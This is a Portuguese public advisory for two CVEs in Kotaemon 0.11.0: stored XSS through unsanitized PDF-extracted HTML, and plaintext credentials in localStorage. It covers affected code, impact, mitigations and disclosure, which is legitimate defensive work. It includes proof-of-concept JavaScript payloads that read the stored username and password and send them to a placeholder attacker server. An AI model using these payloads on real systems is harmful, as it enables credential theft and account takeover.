
Divulgação pública para CVE-2025-56526 e CVE-2025-56527 — Stored XSS via renderização não sanitizada de conteúdo PDF e exposição de credenciais em texto puro no Kotaemon 0.11.0. Inclui análise técnica completa, PoC, avaliação de impacto e cronograma de divulgação responsável.
Cross-Site Scripting Armazenado no Painel de Informações do Kotaemon combina-se com armazenamento de credenciais em texto simples no
localStorage, permitindo comprometimento total da sessão a partir de um único upload de PDF malicioso.
<= 0.11.0 (incluindo o commit 37cdc28)CVE-2025-56526 – XSS Armazenado via renderização de conteúdo PDF não sanitizadoCVE-2025-56527 – Armazenamento de nome de usuário/senha em texto simples no localStorage| CVE ID | Fraqueza | CWE | Impacto Principal |
|---|---|---|---|
| CVE-2025-56526 | XSS Armazenado via HTML derivado de PDF | CWE-79 | Execução arbitrária de JavaScript, exfiltração de dados |
| CVE-2025-56527 | Armazenamento de credenciais em texto simples | CWE-922 | Divulgação de credenciais, sequestro de sessão |
Os resultados da extração de PDF (texto, marcação de tabela, metadados de imagem) são injetados no DOM sem escape. Um PDF malicioso pode, portanto, transportar HTML/JS arbitrário que é executado sempre que o Painel de Informações ou as visualizações de Raciocínio renderizam retrieved_content.
Os caminhos de código afetados incluem:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (table / image rendering)libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py juntamente com libs/ktem/ktem/assets/js/main.js armazena e recupera credenciais brutas diretamente do localStorage:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Qualquer JavaScript executado através do vetor XSS pode ler imediatamente esses valores, resultando em roubo de credenciais confiável e tomada de conta duradoura.
alt de imagem ou objeto de texto): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password em texto simples são expostos a qualquer script injetado.Kotaemon é frequentemente implantado em ambientes locais ou empresariais onde os usuários fazem upload de documentos internos confidenciais. Como o conteúdo derivado de PDF é inserido no DOM sem sanitização, um atacante pode disfarçar um payload malicioso dentro de um documento de negócios de aparência normal.
Quando a vítima faz upload e visualiza este documento, o JavaScript oculto é executado automaticamente, roubando credenciais do localStorage e expondo logs de chat privados e conteúdos de documentos.
Embora o gatilho pareça ser iniciado pelo usuário, isso não é self-XSS. A causa raiz é a falha do lado do servidor em sanitizar o HTML extraído de arquivos enviados, permitindo XSS Armazenado dentro de componentes de UI confiáveis.
Como resultado, um único PDF malicioso pode levar ao comprometimento total da conta em cenários realistas de engenharia social.
html.escape, DOMPurify ou Trusted Types para sinks do DOM).script-src 'self') e Trusted Types para reduzir a superfície de ataque de XSS no DOM.screenshots/)







Este aviso público segue as práticas padrão da indústria de divulgação responsável:
Usuários do Kotaemon (<= 0.11.0) devem considerar o seguinte até que uma correção de segurança esteja disponível:
[email protected]